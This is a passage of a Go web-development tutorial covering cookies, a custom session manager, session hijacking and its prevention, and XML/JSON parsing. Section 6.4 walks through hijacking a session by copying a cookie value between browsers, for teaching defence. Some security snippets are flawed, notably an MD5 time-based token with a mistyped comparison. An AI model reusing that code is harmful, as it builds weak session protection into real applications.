In section 6.1, we are going to talk about differences between cookies and sessions. In section 6.2, you'll learn how to use sessions in Go with an implementation of a session manager. In section 6.3, we will talk about session hijacking and how to prevent it when you know that sessions can be saved anywhere. The session manager we will implement in section 6.3 will save sessions in memory, but if we need to expand our application to allow for session sharing, it's always better to save these sessions directly into our database. We'll talk more about this in section 6.4.

Links

- Directory
- Previous Chapter: Chapter 5 Summary
- Next section: Session and cookies

6.1 Session and cookies

Sessions and cookies are two very common web concepts, and are also very easy to misunderstand. However, they are extremely important for the authorization of pages, as well as for gathering page statistics. Let's take a look at these two use cases.

Suppose you want to crawl a page that restricts public access, like a twitter user's homepage for instance. Of course you can open your browser and type in your username and password to login and access that information, but so-called "web crawling" means that we use a program to automate this process without any human intervention. Therefore, we have to find out what is really going on behind the scenes when we use a browser to login.

When we first receive a login page and type in a username and password, after we press the "login" button, the browser sends a POST request to the remote server. The Browser redirects to the user homepage after the server verifies the login information and returns an HTTP response. The question here is, how does the server know that we have access privileges for the desired webpage? Because HTTP is stateless, the server has no way of knowing whether or not we passed the verification in last step. The easiest and perhaps the most naive solution is to append the username and password to the URL. This works, but puts too much pressure on the server (the server must validate every request against the database), and can be detrimental to the user experience. An alternative way of achieving this goal is to save the user's identity either on the server side or client side using cookies and sessions.

Cookies, in short, store historical information (including user login information) on the client's computer. The client's browser sends these cookies everytime the user visits the same website, automatically completing the login step for the user.

Figure 6.1 cookie principle.

Sessions, on the other hand, store historical information on the server side. The server uses a session id to identify different sessions, and the session id that is generated by the server should always be random and unique. You can use cookies or URL arguments to get the client's identity.

Figure 6.2 session principle.

Cookies

Cookies are maintained by browsers. They can be modified during communication between webservers and browsers. Web applications can access cookie information when users visit the corresponding websites. Within most browser settings, there is one setting pertaining to cookie privacy. You should be able to see something similar to the following when you open it.

Figure 6.3 cookie in browsers.

Cookies have an expiry time, and there are two types of cookies distinguished by their life cyles: session cookies and persistent cookies.

If your application doesn't set a cookie expiry time, the browser will not save it into the local file system after the browser is closed. These cookies are called session cookies, and this type of cookie is usually saved in memory instead of to the local file system.

If your application does set an expiry time (for example, setMaxAge(60*60*24)), the browser *will* save this cookie to the local file system, and it will not be deleted until reaching the allotted expiry time. Cookies that are saved to the local file system can be shared by different browser processes -for example, by two IE windows; different browsers use different processes for dealing with cookies that are saved in memory.

Set cookies in Go

Go uses the `SetCookie` function in the `net/http` package to set cookies:

```
http.SetCookie(w ResponseWriter, cookie *Cookie)
```

`w` is the response of the request and cookie is a struct. Let's see what it looks like:

```
type Cookie struct {
    Name       string
    Value      string
    Path       string
    Domain     string
    Expires    time.Time
    RawExpires string

// MaxAge=0 means no 'Max-Age' attribute specified.
// MaxAge<0 means delete cookie now, equivalently 'Max-Age: 0'
// MaxAge>0 means Max-Age attribute present and given in seconds
    MaxAge   int
    Secure   bool
    HttpOnly bool
    Raw      string
    Unparsed []string // Raw text of unparsed attribute-value pairs
}
```

Here is an example of setting a cookie:

```
expiration := time.Now().Add(365 * 24 * time.Hour)
cookie := http.Cookie{Name: "username", Value: "astaxie", Expires: expiration}
http.SetCookie(w, &cookie)
```

Fetch cookies in Go

The above example shows how to set a cookie. Now let's see how to get a cookie that has been set:

```
cookie, _ := r.Cookie("username")
fmt.Fprint(w, cookie)
```

Here is another way to get a cookie:

```
for _, cookie := range r.Cookies() {
    fmt.Fprint(w, cookie.Name)
}
```

As you can see, it's very convenient to get cookies from requests.

Sessions

A session is a series of actions or messages. For example, you can think of the actions you between picking up your telephone to hanging up to be a type of session. When it comes to network protocols, sessions have more to do with connections between browsers and servers.

Sessions help to store the connection status between server and client, and this can sometimes be in the form of a data storage struct.

Sessions are a server-side mechanism, and usually employ hash tables (or something similar) to save incoming information.

When an application needs to assign a new session to a client, the server should check if there are any existing sessions for the same client with a unique session id. If the session id already exists, the server will just return the same session to the client. On the other hand, if a session id doesn't exist for the client, the server creates a brand new session (this usually happens when the server has deleted the corresponding session id, but the user has appended the old session manually).

The session itself is not complex but its implementation and deployment are, so you cannot use "one way to rule them all".

Summary

In conclusion, the purpose of sessions and cookies are the same. They are both for overcoming the statelessness of HTTP, but they use different methods. Sessions use cookies to save session ids on the client side, and save all other information on the server side. Cookies save all client information on the client side. You may have noticed that cookies have some security problems. For example, usernames and passwords can potentially be cracked and collected by malicious third party websites.

Here are two common exploits:

1. appA setting an unexpected cookie for appB.
2. XSS attack: appA uses the JavaScript `document.cookie` to access the cookies of appB.

After finishing this section, you should know some of the basic concepts of cookies and sessions. You should be able to understand the differences between them so that you won't kill yourself when bugs inevitably emerge. We'll discuss sessions in more detail in the following sections.

Links

- Directory
- Previous section: Data storage and session
- Next section: How to use session in Go

6.2 How to use sessions in Go

In section 6.1, we learned that sessions are one solution for verifying users, and that for now, the Go standard library does not have baked-in support for sessions or session handling. So, we're going to implement our own version of a session manager in Go.

Creating sessions

The basic principle behind sessions is that a server maintains information for every single client, and clients rely on unique session id's to access this information. When users visit the web application, the server will create a new session with the following three steps, as needed:

- Create a unique session id
- Open up a data storage space: normally we save sessions in memory, but you will lose all session data if the system is accidentally interrupted. This can be a very serious issue if web application deals with sensitive data, like in electronic commerce for instance. In order to solve this problem, you can instead save your session data in a database or file system. This makes data persistence more reliable and easy to share with other applications, although the tradeoff is that more server-side IO is needed to read and write these sessions.
- Send the unique session id to the client.

The key step here is to send the unique session id to the client. In the context of a standard HTTP response, you can either use the response line, header or body to accomplish this; therefore, we have two ways to send session ids to clients: by cookies or URL rewrites.

- Cookies: the server can easily use `Set-cookie` inside of a response header to send a session id to a client, and a client can then use this cookie for future requests; we often set the expiry time for cookies containing session information to 0, which means the cookie will be saved in memory and only deleted after users have close their browsers.
- URL rewrite: append the session id as arguments in the URL for all pages. This way seems messy, but it's the best choice if clients have disabled cookies in their browsers.

Use Go to manage sessions

We've talked about constructing sessions, and you should now have a general overview of it, but how can we use sessions on dynamic pages? Let's take a closer look at the life cycle of a session so we can continue implementing our Go session manager.

Session management design

Here is a list of some of the key considerations in session management design.

- Global session manager.
- Keep session id unique.
- Have one session for every user.
- Session storage in memory, file or database.
- Deal with expired sessions.

Next, we'll examine a complete example of a Go session manager and the rationale behind some of its design decisions.

Session manager

Define a global session manager:

```
type Manager struct {
    cookieName  string     //private cookiename
    lock        sync.Mutex // protects session
    provider    Provider
    maxlifetime int64
}

func NewManager(provideName, cookieName string, maxlifetime int64) (*Manager, error) {
    provider, ok := provides[provideName]
    if !ok {
        return nil, fmt.Errorf("session: unknown provide %q (forgotten import?)", provideName)
    }
    return &Manager{provider: provider, cookieName: cookieName, maxlifetime: maxlifetime}, nil
}
```

Create a global session manager in the `main()` function:

```
var globalSessions *session.Manager
// Then, initialize the session manager
func init() {
    globalSessions = NewManager("memory","gosessionid",3600)
}
```

We know that we can save sessions in many ways including in memory, the file system or directly into the database. We need to define a `Provider` interface in order to represent the underlying structure of our session manager:

```
type Provider interface {
    SessionInit(sid string) (Session, error)
    SessionRead(sid string) (Session, error)
    SessionDestroy(sid string) error
    SessionGC(maxLifeTime int64)
}
```

- `SessionInit` implements the initialization of a session, and returns a new session if it succeeds.
- `SessionRead` returns a session represented by the corresponding sid. Creates a new session and returns it if it does not already exist.
- `SessionDestroy` given an sid, deletes the corresponding session.
- `SessionGC` deletes expired session variables according to `maxLifeTime`.

So what methods should our session interface have? If you have any experience in web development, you should know that there are only four operations for sessions: set value, get value, delete value and get current session id. So, our session interface should have four methods to perform these operations.

```
type Session interface {
    Set(key, value interface{}) error //set session value
    Get(key interface{}) interface{}  //get session value
    Delete(key interface{}) error     //delete session value
    SessionID() string                //back current sessionID
}
```

This design takes its roots from the `database/sql/driver`, which defines the interface first, then registers specific structures when we want to use it. The following code is the internal implementation of a session register function.

```
var provides = make(map[string]Provider)

// Register makes a session provider available by the provided name.
// If a Register is called twice with the same name or if the driver is nil,
// it panics.
func Register(name string, provider Provider) {
    if provider == nil {
        panic("session: Register provider is nil")
    }
    if _, dup := provides[name]; dup {
        panic("session: Register called twice for provider " + name)
    }
    provides[name] = provider
}
```

Unique session id's

Session id's are for identifying users of web applications, so they must be unique. The following code shows how to achieve this goal:

```
func (manager *Manager) sessionId() string {
    b := make([]byte, 32)
    if _, err := io.ReadFull(rand.Reader, b); err != nil {
        return ""
    }
    return base64.URLEncoding.EncodeToString(b)
}
```

Creating a session

We need to allocate or get an existing session in order to validate user operations. The `SessionStart` function is for checking the existence of any sessions related to the current user, and creating a new session if none is found.

```
func (manager *Manager) SessionStart(w http.ResponseWriter, r *http.Request) (session Session) {
    manager.lock.Lock()
    defer manager.lock.Unlock()
    cookie, err := r.Cookie(manager.cookieName)
    if err != nil || cookie.Value == "" {
        sid := manager.sessionId()
        session, _ = manager.provider.SessionInit(sid)
        cookie := http.Cookie{Name: manager.cookieName, Value: url.QueryEscape(sid), Path: "/", HttpOnly: true, MaxAg
e: int(manager.maxlifetime)}
        http.SetCookie(w, &cookie)
    } else {
        sid, _ := url.QueryUnescape(cookie.Value)
        session, _ = manager.provider.SessionRead(sid)
    }
    return
}
```

Here is an example that uses sessions for a login operation.

```
func login(w http.ResponseWriter, r *http.Request) {
    sess := globalSessions.SessionStart(w, r)
    r.ParseForm()
    if r.Method == "GET" {
        t, _ := template.ParseFiles("login.gtpl")
        w.Header().Set("Content-Type", "text/html")
        t.Execute(w, sess.Get("username"))
    } else {
        sess.Set("username", r.Form["username"])
        http.Redirect(w, r, "/", 302)
    }
}
```

Operation value: set, get and delete

The `SessionStart` function returns a variable that implements a session interface. How do we use it?

You saw `session.Get("uid")` in the above example for a basic operation. Now let's examine a more detailed example.

```
func count(w http.ResponseWriter, r *http.Request) {
    sess := globalSessions.SessionStart(w, r)
    createtime := sess.Get("createtime")
    if createtime == nil {
        sess.Set("createtime", time.Now().Unix())
    } else if (createtime.(int64) + 360) < (time.Now().Unix()) {
        globalSessions.SessionDestroy(w, r)
        sess = globalSessions.SessionStart(w, r)
    }
    ct := sess.Get("countnum")
    if ct == nil {
        sess.Set("countnum", 1)
    } else {
        sess.Set("countnum", (ct.(int) + 1))
    }
    t, _ := template.ParseFiles("count.gtpl")
    w.Header().Set("Content-Type", "text/html")
    t.Execute(w, sess.Get("countnum"))
}
```

As you can see, operating on sessions simply involves using the key/value pattern in the Set, Get and Delete operations.

Because sessions have the concept of an expiry time, we define the GC to update the session's latest modify time. This way, the GC will not delete sessions that have expired but are still being used.

Reset sessions

We know that web applications have a logout operation. When users logout, we need to delete the corresponding session. We've already used the reset operation in above example -now let's take a look at the function body.

```
//Destroy sessionid
func (manager *Manager) SessionDestroy(w http.ResponseWriter, r *http.Request){
    cookie, err := r.Cookie(manager.cookieName)
    if err != nil || cookie.Value == "" {
        return
    } else {
        manager.lock.Lock()
        defer manager.lock.Unlock()
        manager.provider.SessionDestroy(cookie.Value)
        expiration := time.Now()
        cookie := http.Cookie{Name: manager.cookieName, Path: "/", HttpOnly: true, Expires: expiration, MaxAge: -1}
        http.SetCookie(w, &cookie)
    }
}
```

Delete sessions

Let's see how to let the session manager delete a session. We need to start the GC in the `main()` function:

```
func init() {
    go globalSessions.GC()
}

func (manager *Manager) GC() {
    manager.lock.Lock()
    defer manager.lock.Unlock()
    manager.provider.SessionGC(manager.maxlifetime)
    time.AfterFunc(time.Duration(manager.maxlifetime), func() { manager.GC() })
}
```

We see that the GC makes full use of the timer function in the `time` package. It automatically calls GC when the session times out, ensuring that all sessions are usable during `maxLifeTime`. A similar solution can be used to count online users.

Summary

So far, we implemented a session manager to manage global sessions in the web application and defined the `Provider` interface as the storage implementation of `Session`. In the next section, we are going to talk about how to implement `Provider` for additional session storage structures, which you will be able to reference in the future.

Links

- Directory
- Previous section: Session and cookies
- Next section: Session storage

6.3 Session storage

We introduced a simple session manager's working principles in the previous section, and among other things, we defined a session storage interface. In this section, I'm going to show you an example of a memory based session storage engine that implements this interface. You can tailor this to other forms of session storage as well.

```
package memory

import (
    "container/list"
    "github.com/astaxie/session"
    "sync"
    "time"
)

var pder = &Provider{list: list.New()}

type SessionStore struct {
    sid          string                      // unique session id
    timeAccessed time.Time                   // last access time
    value        map[interface{}]interface{} // session value stored inside
}

func (st *SessionStore) Set(key, value interface{}) error {
    st.value[key] = value
    pder.SessionUpdate(st.sid)
    return nil
}

func (st *SessionStore) Get(key interface{}) interface{} {
    pder.SessionUpdate(st.sid)
    if v, ok := st.value[key]; ok {
        return v
    } else {
        return nil
    }
    return nil
}

func (st *SessionStore) Delete(key interface{}) error {
    delete(st.value, key)
    pder.SessionUpdate(st.sid)
    return nil
}

func (st *SessionStore) SessionID() string {
    return st.sid
}

type Provider struct {
    lock     sync.Mutex               // lock
    sessions map[string]*list.Element // save in memory
    list     *list.List               // gc
}

func (pder *Provider) SessionInit(sid string) (session.Session, error) {
    pder.lock.Lock()
    defer pder.lock.Unlock()
    v := make(map[interface{}]interface{}, 0)
    newsess := &SessionStore{sid: sid, timeAccessed: time.Now(), value: v}
    element := pder.list.PushBack(newsess)
    pder.sessions[sid] = element
    return newsess, nil
}

func (pder *Provider) SessionRead(sid string) (session.Session, error) {
    if element, ok := pder.sessions[sid]; ok {
```

```
        return element.Value.(*SessionStore), nil
    } else {
        sess, err := pder.SessionInit(sid)
        return sess, err
    }
    return nil, nil
}

func (pder *Provider) SessionDestroy(sid string) error {
    if element, ok := pder.sessions[sid]; ok {
        delete(pder.sessions, sid)
        pder.list.Remove(element)
        return nil
    }
    return nil
}

func (pder *Provider) SessionGC(maxlifetime int64) {
    pder.lock.Lock()
    defer pder.lock.Unlock()

    for {
        element := pder.list.Back()
        if element == nil {
            break
        }
        if (element.Value.(*SessionStore).timeAccessed.Unix() + maxlifetime) < time.Now().Unix() {
            pder.list.Remove(element)
            delete(pder.sessions, element.Value.(*SessionStore).sid)
        } else {
            break
        }
    }
}

func (pder *Provider) SessionUpdate(sid string) error {
    pder.lock.Lock()
    defer pder.lock.Unlock()
    if element, ok := pder.sessions[sid]; ok {
        element.Value.(*SessionStore).timeAccessed = time.Now()
        pder.list.MoveToFront(element)
        return nil
    }
    return nil
}

func init() {
    pder.sessions = make(map[string]*list.Element, 0)
    session.Register("memory", pder)
}
```

The above example implements a memory based session storage mechanism. It uses its `init()` function to register this storage engine to the session manager. So how do we register this engine from our main program?

```
import (
    "github.com/astaxie/session"
    _ "github.com/astaxie/session/providers/memory"
)
```

We use the blank import mechanism (which will invoke the package's `init()` function automatically) to register this engine to a session manager. We then use the following code to initialize the session manager:

```
var globalSessions *session.Manager

// initialize in init() function
func init() {
    globalSessions, _ = session.NewManager("memory", "gosessionid", 3600)
    go globalSessions.GC()
}
```

Links

- Directory
- Previous section: How to use sessions in Go
- Next section: Prevent session hijacking

6.4 Preventing session hijacking

Session hijacking is a common yet serious security threat. Clients use session id's for validation and other purposes when communicating with servers. Unfortunately, malicious third parties can sometimes track these communications and figure out the client session id.

In this section, we are going to show you how to hijack a session for educational purposes.

The session hijacking process

The following code is a counter for the `count` variable:

```
func count(w http.ResponseWriter, r *http.Request) {
    sess := globalSessions.SessionStart(w, r)
    ct := sess.Get("countnum")
    if ct == nil {
        sess.Set("countnum", 1)
    } else {
        sess.Set("countnum", (ct.(int) + 1))
    }
    t, _ := template.ParseFiles("count.gtpl")
    w.Header().Set("Content-Type", "text/html")
    t.Execute(w, sess.Get("countnum"))
}
```

The content of `count.gtpl` is as follows:

```
Hi. Now count:{{.}}
```

We can see the following content in the browser:

Figure 6.4 count in browser.

Keep refreshing until the number becomes 6, then open the browser's cookie manager (I use chrome here). You should be able to see the following information:

Figure 6.5 cookies saved in a browser.

This step is very important: open another browser (I use firefox here), copy the URL to the new browser, open a cookie simulator to create a new cookie and input exactly the same value as the cookie we saw in our first browser.

Figure 6.6 Simulate a cookie.

Refresh the page and you'll see the following:

Figure 6.7 hijacking the session has succeeded.

Here we see that we can hijack sessions between different browsers, and actions performed in one browser can affect the state of a page in another browser. Because HTTP is stateless, there is no way of knowing that the session id from firefox is simulated, and chrome is also not able to know that it's session id has been hijacked.

prevent session hijacking

cookie only and token

Through this simple example of hijacking a session, you can see that it's very dangerous because it allows attackers to do whatever they want. So how can we prevent session hijacking?

The first step is to only set session id's in cookies, instead of in URL rewrites. Also, we should set the httponly cookie property to true. This restricts client-side scripts from gaining access to the session id. Using these techniques, cookies cannot be accessed by XSS and it won't be as easy as we demonstrated to get a session id from a cookie manager.

The second step is to add a token to every request. Similar to the manner in which we dealt with repeating form submissions in previous sections, we add a hidden field that contains a token. When a request is sent to the server, we can verify this token to prove that the request is unique.

```
h := md5.New()
salt:="astaxie%^7&8888"
io.WriteString(h,salt+time.Now().String())
token:=fmt.Sprintf("%x",h.Sum(nil))
if r.Form["token"]!=token{
    // ask to log in
}
sess.Set("token",token)
```

Session id timeout

Another solution is to add a create time for every session, and to replace expired session id's with new ones. This can prevent session hijacking under certain circumstances such as when the hijack is attempted too late.

```
createtime := sess.Get("createtime")
if createtime == nil {
    sess.Set("createtime", time.Now().Unix())
} else if (createtime.(int64) + 60) < (time.Now().Unix()) {
    globalSessions.SessionDestroy(w, r)
    sess = globalSessions.SessionStart(w, r)
}
```

We set a value to save the create time and check if it's expired (I set 60 seconds here). This step can often thwart session hijacking attempts.

By combining the two solutions set out above you will be able to prevent most session hijacking attempts from succeeding. On the one hand, session id's that are frequently reset will result in an attacker always getting expired and useless session id's; on the other hand, by setting the httponly property on cookies and ensuring that session id's can only be passed via cookies, all URL based attacks are mitigated. Finally, we set `MaxAge=0` on our cookies, which means that the session id's will not be saved in the browser history.

Links

- Directory
- Previous section: Session storage
- Next section: Summary

6.5 Summary

In this chapter, we learned about the definition and purpose of sessions and cookies, and the relationship between the two. Since Go doesn't support sessions in its standard library, we also designed our own session manager. We went through everything from creating client sessions to deleting them. We then defined an interface called `Provider` which supports all session storage structures. In section 6.3, we implemented a memory based session manager to persist client data across sessions. In section 6.4, I demonstrated one way of hijacking a session. Then we looked at how to prevent your own sessions from being hijacked. I hope that you now understand most of the working principles behind sessions so that you're able to safely use them in your applications.

Links

- Directory
- Previous section: Prevent session hijacking
- Next chapter: Text files

7 Text files

Handling text files is a big part of web development. We often need to produce or handle received text content, including strings, numbers, JSON, XML, etc. As a high performance language, Go has good support for this in its standard library. You'll find that these supporting libraries are just awesome, and will allow you to easily deal with any text content you may encounter. This chapter contains 4 sections, and will give you a full introduction to text processing in Go.

XML is an interactive language that is commonly used in many APIs, many web servers written in Java use XML as their standard interaction language. We'll more talk about XML in section 7.1. In section 7.2, we'll take a look at JSON which has been very popular in recent years and is much more convenient than XML. In section 7.3, we are going to talk about regular expressions which (for the majority of people) looks like a language used by aliens. In section 7.4, you will see how the MVC pattern is used to develop applications in Go, and also how to use Go's `template` package for templating your views. In section 7.5, we'll introduce you to file and folder operations. Finally, we will explain some Go string operations in section 7.6.

Links

- Directory
- Previous Chapter: Chapter 6 Summary
- Next section: XML

7.1 XML

XML is a commonly used data communication format in web services. Today, it's assuming a more and more important role in web development. In this section, we're going to introduce how to work with XML through Go's standard library.

I will not make any attempts to teach XML's syntax or conventions. For that, please read more documentation about XML itself. We will only focus on how to encode and decode XML files in Go.

Suppose you work in IT, and you have to deal with the following XML configuration file:

```
<?xml version="1.0" encoding="utf-8"?>
<servers version="1">
    <server>
        <serverName>Shanghai_VPN</serverName>
        <serverIP>127.0.0.1</serverIP>
    </server>
    <server>
        <serverName>Beijing_VPN</serverName>
        <serverIP>127.0.0.2</serverIP>
    </server>
</servers>
```

The above XML document contains two kinds of information about your server: the server name and IP. We will use this document in our following examples.

Parse XML

How do we parse this XML document? We can use the `Unmarshal` function in Go's `xml` package to do this.

```
func Unmarshal(data []byte, v interface{}) error
```

the `data` parameter receives a data stream from an XML source, and `v` is the structure you want to output the parsed XML to. It is an interface, which means you can convert XML to any structure you desire. Here, we'll only talk about how to convert from XML to the `struct` type since they share similar tree structures.

Sample code:

```
package main

import (
    "encoding/xml"
    "fmt"
    "io/ioutil"
    "os"
)

type Recurlyservers struct {
    XMLName     xml.Name `xml:"servers"`
    Version     string   `xml:"version,attr"`
    Svs         []server `xml:"server"`
    Description string   `xml:",innerxml"`
}

type server struct {
    XMLName    xml.Name `xml:"server"`
    ServerName string   `xml:"serverName"`
    ServerIP   string   `xml:"serverIP"`
}

func main() {
    file, err := os.Open("servers.xml") // For read access.
    if err != nil {
        fmt.Printf("error: %v", err)
        return
    }
    defer file.Close()
    data, err := ioutil.ReadAll(file)
    if err != nil {
        fmt.Printf("error: %v", err)
        return
    }
    v := Recurlyservers{}
    err = xml.Unmarshal(data, &v)
    if err != nil {
        fmt.Printf("error: %v", err)
        return
    }

    fmt.Println(v)
}
```

XML is actually a tree data structure, and we can define a very similar structure using structs in Go, then use `xml.Unmarshal` to convert from XML to our struct object. The sample code will print the following content:

```
{{ servers} 1 [{{ server} Shanghai_VPN 127.0.0.1} {{ server} Beijing_VPN 127.0.0.2}]
<server>
    <serverName>Shanghai_VPN</serverName>
    <serverIP>127.0.0.1</serverIP>
</server>
<server>
    <serverName>Beijing_VPN</serverName>
    <serverIP>127.0.0.2</serverIP>
</server>
}
```

We use `xml.Unmarshal` to parse the XML document to the corresponding struct object. You should see that we have something like `xml:"serverName"` in our struct. This is a feature of structs called `struct tags` for helping with reflection. Let's see the definition of `Unmarshal` again:

```
func Unmarshal(data []byte, v interface{}) error
```

The first argument is an XML data stream. The second argument is storage type and supports the struct, slice and string types. Go's XML package uses reflection for data mapping, so all fields in v should be exported. However, this causes a problem: how does it know which XML field corresponds to the mapped struct field? The answer is that the XML parser parses data in a certain order. The library will try to find the matching struct tag first. If a match cannot be found then it searches through the struct field names. Be aware that all tags, field names and XML elements are case sensitive, so you have to make sure that there is a one-to-one correspondence for the mapping to succeed.

Go's reflection mechanism allows you to use this tag information to reflect XML data to a struct object. If you want to know more about reflection in Go, please read the package documentation on struct tags and reflection.

Here are some rules when using the `xml` package to parse XML documents to structs:

- If the field type is a string or []byte with the tag `",innerxml"`, `Unmarshal` will assign raw XML data to it, like `Description` in the above example:

  Shanghai_VPN127.0.0.1Beijing_VPN127.0.0.2

- If a field is called `XMLName` and its type is `xml.Name`, then it gets the element name, like `servers` in above example.
- If a field's tag contains the corresponding element name, then it gets the element name as well, like `servername` and `serverip` in the above example.
- If a field's tag contains `",attr"`, then it gets the corresponding element's attribute, like `version` in above example.
- If a field's tag contains something like `"a>b>c"`, it gets the value of the element c of node b of node a.
- If a field's tag contains `"="`, then it gets nothing.
- If a field's tag contains `",any"`, then it gets all child elements which do not fit the other rules.
- If the XML elements have one or more comments, all of these comments will be added to the first field that has the tag that contains `",comments"`. This field type can be a string or []byte. If this kind of field does not exist, all comments are discarded.

These rules tell you how to define tags in structs. Once you understand these rules, mapping XML to structs will be as easy as the sample code above. Because tags and XML elements have a one-to-one correspondence, we can also use slices to represent multiple elements on the same level.

Note that all fields in structs should be exported (capitalized) in order to parse data correctly.

Produce XML

What if we want to produce an XML document instead of parsing one. How do we do this in Go? Unsurprisingly, the `xml` package provides two functions which are `Marshal` and `MarshalIndent`, where the second function automatically indents the marshalled XML document. Their definition as follows:

```
func Marshal(v interface{}) ([]byte, error)
func MarshalIndent(v interface{}, prefix, indent string) ([]byte, error)
```

The first argument in both of these functions is for storing a marshalled XML data stream.

Let's look at an example to see how this works:

```
package main

import (
    "encoding/xml"
    "fmt"
    "os"
)

type Servers struct {
    XMLName xml.Name `xml:"servers"`
    Version string   `xml:"version,attr"`
    Svs     []server `xml:"server"`
}

type server struct {
    ServerName string `xml:"serverName"`
    ServerIP   string `xml:"serverIP"`
}

func main() {
    v := &Servers{Version: "1"}
    v.Svs = append(v.Svs, server{"Shanghai_VPN", "127.0.0.1"})
    v.Svs = append(v.Svs, server{"Beijing_VPN", "127.0.0.2"})
    output, err := xml.MarshalIndent(v, "  ", "    ")
    if err != nil {
        fmt.Printf("error: %v\n", err)
    }
    os.Stdout.Write([]byte(xml.Header))

    os.Stdout.Write(output)
}
```

The above example prints the following information:

```
<?xml version="1.0" encoding="UTF-8"?>
<servers version="1">
<server>
    <serverName>Shanghai_VPN</serverName>
    <serverIP>127.0.0.1</serverIP>
</server>
<server>
    <serverName>Beijing_VPN</serverName>
    <serverIP>127.0.0.2</serverIP>
</server>
</servers>
```

As we've previously defined, the reason we have `os.Stdout.Write([]byte(xml.Header))` is because both `xml.MarshalIndent` and `xml.Marshal` do not output XML headers on their own, so we have to explicitly print them in order to produce XML documents correctly.

Here we can see that `Marshal` also receives a v parameter of type `interface{}`. So what are the rules when marshalling to an XML document?

- If v is an array or slice, it prints all elements like a value.
- If v is a pointer, it prints the content that v is pointing to, printing nothing when v is nil.
- If v is a interface, it deal with the interface as well.
- If v is one of the other types, it prints the value of that type.

So how does `xml.Marshal` decide the elements' name? It follows the ensuing rules:

- If v is a struct, it defines the name in the tag of XMLName.
- The field name is XMLName and the type is xml.Name.
- Field tag in struct.
- Field name in struct.
- Type name of marshal.

Then we need to figure out how to set tags in order to produce the final XML document.

- XMLName will not be printed.
- Fields that have tags containing `"-"` will not be printed.
- If a tag contains `"name,attr"`, it uses name as the attribute name and the field value as the value, like `version` in the above example.
- If a tag contains `",attr"`, it uses the field's name as the attribute name and the field value as its value.
- If a tag contains `",chardata"`, it prints character data instead of element.
- If a tag contains `",innerxml"`, it prints the raw value.
- If a tag contains `",comment"`, it prints it as a comment without escaping, so you cannot have "--" in its value.
- If a tag contains `"omitempty"`, it omits this field if its value is zero-value, including false, 0, nil pointer or nil interface, zero length of array, slice, map and string.
- If a tag contains `"a>b>c"`, it prints three elements where a contains b and b contains c, like in the following code:

  FirstName string `xml:"name>first"` LastName string `xml:"name>last"`

  Asta Xie

You may have noticed that struct tags are very useful for dealing with XML, and the same goes for the other data formats we'll be discussing in the following sections. If you still find that you have problems with working with struct tags, you should probably read more documentation about them before diving into the next section.

Links

- Directory
- Previous section: Text files
- Next section: JSON

7.2 JSON

JSON (JavaScript Object Notation) is a lightweight data exchange language which is based on text description. Its advantages include being self-descriptive, easy to understand, etc. Even though it is a subset of JavaScript, JSON uses a different text format, the result being that it can be considered as an independent language. JSON bears similarity to C-family languages.

The biggest difference between JSON and XML is that XML is a complete markup language, whereas JSON is not. JSON is smaller and faster than XML, therefore it's much easier and quicker to parse in browsers, which is one of the reasons why many open platforms choose to use JSON as their data exchange interface language.

Since JSON is becoming more and more important in web development, let's take a look at the level of support Go has for JSON. You'll find that Go's standard library has very good support for encoding and decoding JSON.

Here we use JSON to represent the example in the previous section:

```
{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]
}
```

The rest of this section will use this JSON data to introduce JSON concepts in Go.

Parse JSON

Parse to struct

Suppose we have the JSON in the above example. How can we parse this data and map it to a struct in Go? Go provides the following function for just this purpose:

```
func Unmarshal(data []byte, v interface{}) error
```

We can use this function like so:

```
package main

import (
    "encoding/json"
    "fmt"
)

type Server struct {
    ServerName string
    ServerIP   string
}

type Serverslice struct {
    Servers []Server
}

func main() {
    var s Serverslice
    str := `{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"
127.0.0.2"}]}`
    json.Unmarshal([]byte(str), &s)
    fmt.Println(s)
}
```

In the above example, we defined a corresponding structs in Go for our JSON, using slice for an array of JSON objects and field name as our JSON keys. But how does Go know which JSON object corresponds to which specific struct filed? Suppose we have a key called `Foo` in JSON. How do we find its corresponding field?

- First, Go tries to find the (capitalised) exported field whose tag contains `Foo`.
- If no match can be found, look for the field whose name is `Foo`.
- If there are still not matches look for something like `FOO` or `FoO`, ignoring case sensitivity.

You may have noticed that all fields that are going to be assigned should be exported, and Go only assigns fields that can be found, ignoring all others. This can be useful if you need to deal with large chunks of JSON data but you only a specific subset of it; the data you don't need can easily be discarded.

Parse to interface

When we know what kind of JSON to expect in advance, we can parse it to a specific struct. But what if we don't know?

We know that an interface{} can be anything in Go, so it is the best container to save our JSON of unknown format. The JSON package uses `map[string]interface{}` and `[]interface{}` to save all kinds of JSON objects and arrays. Here is a list of JSON mapping relations:

- `bool` represents `JSON booleans`,
- `float64` represents `JSON numbers`,
- `string` represents `JSON strings`,
- `nil` represents `JSON null`.

Suppose we have the following JSON data:

```
b := []byte(`{"Name":"Wednesday","Age":6,"Parents":["Gomez","Morticia"]}`)
```

Now we parse this JSON to an interface{}:

```
var f interface{}
err := json.Unmarshal(b, &f)
```

The `f` stores a map, where keys are strings and values are interface{}'s'.

```
f = map[string]interface{}{
    "Name": "Wednesday",
    "Age":  6,
    "Parents": []interface{}{
        "Gomez",
        "Morticia",
    },
}
```

So, how do we access this data? Type assertion.

```
m := f.(map[string]interface{})
```

After asserted, you can use the following code to access data:

```
for k, v := range m {
    switch vv := v.(type) {
    case string:
        fmt.Println(k, "is string", vv)
    case int:
        fmt.Println(k, "is int", vv)
    case float64:
        fmt.Println(k,"is float64",vv)
    case []interface{}:
        fmt.Println(k, "is an array:")
        for i, u := range vv {
            fmt.Println(i, u)
        }
    default:
        fmt.Println(k, "is of a type I don't know how to handle")
    }
}
```

As you can see, we can now parse JSON of an unknown format through interface{} and type assertion.

The above example is the official solution, but type asserting is not always convenient. So, I recommend an open source project called `simplejson`, created and maintained by bitly. Here is an example of how to use this project to deal with JSON of an unknown format:

```
js, err := NewJson([]byte(`{
    "test": {
        "array": [1, "2", 3],
        "int": 10,
        "float": 5.150,
        "bignum": 9223372036854775807,
        "string": "simplejson",
        "bool": true
    }
}`))

arr, _ := js.Get("test").Get("array").Array()
i, _ := js.Get("test").Get("int").Int()
ms := js.Get("test").Get("string").MustString()
```

It's not hard to see how convenient this is. Check out the repository to see more information: https://github.com/bitly/go-simplejson.

Producing JSON

